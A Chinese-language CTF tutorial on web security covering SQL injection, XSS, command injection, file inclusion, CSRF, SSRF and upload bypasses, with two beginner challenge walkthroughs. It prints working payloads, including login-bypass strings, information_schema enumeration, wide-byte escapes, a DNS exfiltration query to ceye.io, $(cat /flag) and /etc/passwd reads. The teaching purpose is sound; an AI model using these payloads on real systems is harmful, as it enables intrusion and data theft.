
WEB SECURITY — CTF 中占比最大的方向
随着 WEB 2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于 WEB 环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在 WEB 平台上,WEB 业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是 WEB 安全威胁的凸显。黑客利用网站操作系统的漏洞和 WEB 服务程序的漏洞得到 WEB 服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
在 CTF 竞赛中,WEB 也是占比重很大的一个方向之一。WEB 类的题目种类繁多,知识点细碎,时效性强,能紧跟时下热点漏洞,贴近实战。WEB 类的题目包括但不限于:SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、文件上传、文件包含、框架安全、PHP 常见漏洞、代码审计等。
学习 Web 安全前,建议先了解一点 Web 开发基础:HTML / JavaScript / PHP / SQL / HTTP 协议。懂了「正常的网站怎么工作」,才能理解「漏洞从哪里来」。
简单说:后端用字符串拼接 SQL,又没有过滤用户输入,用户就能把自己的 SQL 代码「注」进去执行。
// 危险的写法:直接拼接用户输入 $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
如果用户名输入 admin' or 1=1#,SQL 变成:
SELECT * FROM users WHERE username='admin' or 1=1#' AND password='...'
# 是 MySQL 注释符,注释掉后面的内容;or 1=1 恒真 → 直接绕过登录。
| 函数/语句 | 作用 |
|---|---|
user() | 当前数据库用户 |
database() | 当前数据库名 |
version() | 数据库版本 |
concat() | 拼接多条数据,如 concat(username,0x3a,password) |
group_concat() | 把多行结果一次注入出来 |
load_file() | 读取服务器文件 |
select ... into outfile '路径' | 写入文件(权限高时) |
-- 或 #/*注释*/,还可以用来绕过过滤,如 DR/**/OP、SELECT/*替换空格*/password FROM MembersASCII() 返回字符 ASCII 码、CHAR() 把整数转字符admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
SELECT database();UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='表名'SELECT * FROM users WHERE username=0x61646D696E(hex 编码)或 CHAR(97,100,109,105,110)SELECT 'a' 'd' 'mi' 'n'; 或 CONCAT('a','d','m','i','n')SLEEP()、BENCHMARK()国内最常使用的 GBK 编码场景下,输入 %bf%27 时,反斜杠转义使单引号前被加 \(%5c),变成 %bf%5c%27。而 %bf%5c 在 GBK 中会被解析为一个宽字符,后面的 ' 就逃逸出来了。这也是绕过 addslashes 等转义函数的一种方式。
DNS 解析时会留下日志,把信息放在多级域名中传给自己的服务器,然后读取日志获取数据(如用 load_file(concat('\\\\', (select database()), '.xxx.ceye.io\\abc')))。平台:ceye.io。
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
经典测试 payload:<script>alert(1)</script>。CTF 中常考「构造 XSS 打 Cookie / 打到管理员机器人」。
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数,如 PHP 中的 system、exec、shell_exec 等。当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击(RCE)。测试用 ; whoami、| id、$(cat /flag) 等。
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含(LFI)和远程文件包含(RFI)两种形式。经典利用:?file=../../../../etc/passwd、PHP 伪协议 php://filter/read=convert.base64-encode/resource=flag.php。
跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。例如:在受害者不知情的情况下转移资金、发送邮件等。
SSRF(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。利用方式:让服务器去访问 http://127.0.0.1:8080、file:///etc/passwd 等。
网站更新内容时常常需要文件上传功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。常见绕过:改 Content-Type、双写后缀、%00 截断、图片马 + 文件包含配合。
通读 PHP 源码寻找漏洞(变量覆盖、弱类型比较 ==、反序列化、代码执行函数等),考察逻辑思维与经验积累。强网杯、极客大挑战等比赛常考。
场景:一个登录框。BUUCTF 题需要注册账号并「启动环境」获得靶机地址。
admin / 任意密码提示错误 → 输入 ' 可能报错 → 判定存在 SQL 注入。admin' or 1=1#,密码随便填。SELECT * FROM users WHERE username='admin' or 1=1#' AND password='...',# 注释掉后面,or 1=1 恒真,直接登录成功返回 flag。💡 进阶练习:用 Burp Suite 抓包观察;再试试联合注入 ' union select 1,2# 看回显。
场景:题目在攻防世界「新手练习区」,提示「小宁同学发现鼠标右键不管用了」。
F12 开发者工具 → Elements;或地址栏输入 view-source:网址;或 Ctrl+U。<!-- flag{...} --> 里。💡 Web 第一课:永远先看源代码。注册攻防世界账号后进入「新手练习区」找到此题。